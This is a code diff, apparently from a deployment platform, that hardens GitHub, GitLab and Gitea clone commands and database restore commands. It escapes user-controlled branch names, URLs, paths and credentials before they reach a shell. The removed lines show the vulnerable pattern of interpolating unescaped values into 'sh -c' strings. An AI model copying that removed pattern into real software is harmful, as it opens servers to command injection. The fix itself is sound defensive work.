command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${giteaBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; command += `git clone --branch ${shellWord(giteaBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -7,6 +7,7 @@ import { createAppAuth } from "@octokit/auth-app";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import { Octokit } from "octokit"; import { Octokit } from "octokit";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export const authGithub = (githubProvider: Github): Octokit => { export const authGithub = (githubProvider: Github): Octokit => {
if (!haveGithubRequirements(githubProvider)) { if (!haveGithubRequirements(githubProvider)) {
@@ -166,8 +167,8 @@ export const cloneGithubRepository = async ({
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
const cloneUrl = `https://oauth2:${token}@${repoclone}`; const cloneUrl = `https://oauth2:${token}@${repoclone}`;
command += `echo "Cloning Repo ${repoclone} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo ${repoclone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${branch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; command += `git clone --branch ${shellWord(branch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -9,6 +9,7 @@ import {
import type { InferResultType } from "@dokploy/server/types/with"; import type { InferResultType } from "@dokploy/server/types/with";
import { TRPCError } from "@trpc/server"; import { TRPCError } from "@trpc/server";
import type { z } from "zod"; import type { z } from "zod";
import { shellWord } from "./utils";
export const refreshGitlabToken = async (gitlabProviderId: string) => { export const refreshGitlabToken = async (gitlabProviderId: string) => {
const gitlabProvider = await findGitlabById(gitlabProviderId); const gitlabProvider = await findGitlabById(gitlabProviderId);
@@ -151,8 +152,8 @@ export const cloneGitlabRepository = async ({
command += `mkdir -p ${outputPath};`; command += `mkdir -p ${outputPath};`;
const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace); const repoClone = getGitlabRepoClone(gitlab, gitlabPathNamespace);
const cloneUrl = getGitlabCloneUrl(gitlab, repoClone); const cloneUrl = getGitlabCloneUrl(gitlab, repoClone);
command += `echo "Cloning Repo ${repoClone} to ${outputPath}: ✅";`; command += `echo ${shellWord(`Cloning Repo ${repoClone} to ${outputPath}: ✅`)};`;
command += `git clone --branch ${gitlabBranch} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${cloneUrl} ${outputPath} --progress;`; command += `git clone --branch ${shellWord(gitlabBranch)} --depth 1 ${enableSubmodules ? "--recurse-submodules" : ""} ${shellWord(cloneUrl)} ${shellWord(outputPath)} --progress;`;
return command; return command;
}; };

View File

@@ -0,0 +1,10 @@
import { quote } from "shell-quote";
/**
* Escapes a single value so it can be safely interpolated as one argument into
* a `/bin/sh -c` command string (both local `execAsync` and remote SSH
* `execAsyncRemote`). User-controlled fields such as git URLs, branch names,
* repository owners and SSH hostnames must never reach a shell unescaped.
*/
export const shellWord = (value: string | number | null | undefined): string =>
quote([String(value ?? "")]);

View File

@@ -1,13 +1,17 @@
import { quote } from "shell-quote";
import { import {
getComposeContainerCommand, getComposeContainerCommand,
getServiceContainerCommand, getServiceContainerCommand,
} from "../backups/utils"; } from "../backups/utils";
// User-controlled values are passed to the container via `docker exec -e` and
// read as "$VAR" inside a single-quoted inner script, so they never enter the
// inner command text. See the matching note in backups/utils.ts.
export const getPostgresRestoreCommand = ( export const getPostgresRestoreCommand = (
database: string, database: string,
databaseUser: string, databaseUser: string,
) => { ) => {
return `docker exec -i $CONTAINER_ID sh -c "pg_restore -U '${databaseUser}' -d ${database} -O --clean --if-exists"`; return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -i $CONTAINER_ID sh -c 'pg_restore -U "$DB_USER" -d "$DB_NAME" -O --clean --if-exists'`;
}; };
export const getMariadbRestoreCommand = ( export const getMariadbRestoreCommand = (
@@ -15,14 +19,14 @@ export const getMariadbRestoreCommand = (
databaseUser: string, databaseUser: string,
databasePassword: string, databasePassword: string,
) => { ) => {
return `docker exec -i $CONTAINER_ID sh -c "mariadb -u '${databaseUser}' -p'${databasePassword}' ${database}"`; return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mariadb -u "$DB_USER" -p"$DB_PASS" "$DB_NAME"'`;
}; };
export const getMysqlRestoreCommand = ( export const getMysqlRestoreCommand = (
database: string, database: string,
databasePassword: string, databasePassword: string,
) => { ) => {
return `docker exec -i $CONTAINER_ID sh -c "mysql -u root -p'${databasePassword}' ${database}"`; return `docker exec -e DB_NAME=${quote([database])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mysql -u root -p"$DB_PASS" "$DB_NAME"'`;
}; };
export const getMongoRestoreCommand = ( export const getMongoRestoreCommand = (
@@ -30,7 +34,7 @@ export const getMongoRestoreCommand = (
databaseUser: string, databaseUser: string,
databasePassword: string, databasePassword: string,
) => { ) => {
return `docker exec -i $CONTAINER_ID sh -c "mongorestore --username '${databaseUser}' --password '${databasePassword}' --authenticationDatabase admin --db ${database} --archive --drop"`; return `docker exec -e DB_NAME=${quote([database])} -e DB_USER=${quote([databaseUser])} -e DB_PASS=${quote([databasePassword])} -i $CONTAINER_ID sh -c 'mongorestore --username "$DB_USER" --password "$DB_PASS" --authenticationDatabase admin --db "$DB_NAME" --archive --drop'`;
}; };
export const getComposeSearchCommand = ( export const getComposeSearchCommand = (